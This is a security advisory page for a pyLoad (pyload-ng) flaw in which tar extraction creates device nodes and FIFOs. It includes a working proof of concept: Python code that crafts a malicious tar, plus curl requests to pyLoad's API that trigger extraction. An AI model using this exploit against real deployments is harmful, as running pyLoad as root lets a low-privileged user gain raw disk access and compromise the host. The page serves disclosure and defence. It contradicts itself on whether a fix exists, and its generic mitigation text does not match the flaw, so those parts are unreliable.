pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)GHSA-fr26-jjhm-638c
Fix: pyload/pyload@09eec1bGHSA-fr26-jjhm-638c is a security vulnerability in pyload-ng. No vendor fix is recorded yet; mitigation options are listed below.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
UnTar._safe_extractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member
names and symlink/hardlink targets, but never checks member types, and calls
tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is
fully_trusted, so a crafted tar containing device or FIFO entries makes pyLoad create
them on disk. When pyLoad runs as root (the official Docker deployment), a block-device
member grants raw disk access — full host compromise — reachable by any low-privileged user
who can trigger archive extraction (ADD to supply an archive, STATUS to invoke
ExtractArchive.extract_package).
Details
# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only
raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner) # no filter=
No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation
in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults
to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create
FIFOs for any euid.
PoC
BASE=http://127.0.0.1:8100
# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF
# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,
# then trigger extraction
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' \
-d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'
ls -l <extract dir>
# → crw-rw-rw- 1 root root 1, 3 nulldev (character device created)
# → prw-r--r-- 1 root root pipe (FIFO created)
# → -rw-r--r-- 1 root root marker.txt
Negative control: the same flow with a ../evil traversal member is rejected
(ArchiveError: Attempted path traversal in archive) and nothing is extracted — the
GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary
is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is
reached via non-mapped names — as above — content-sniffed containers, or when 7z is
absent/fails.)
Impact
With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.
Remediation
In _safe_extractall, reject (or skip) every member that is not a regular file, directory,
or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass
filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply
the same member-type validation in the pre-extraction validator so all extractors share it.
References
- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of pyload-ng has shipped for GHSA-fr26-jjhm-638c yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-fr26-jjhm-638c in your dependencies?
Find it across PyPI, including transitive dependencies.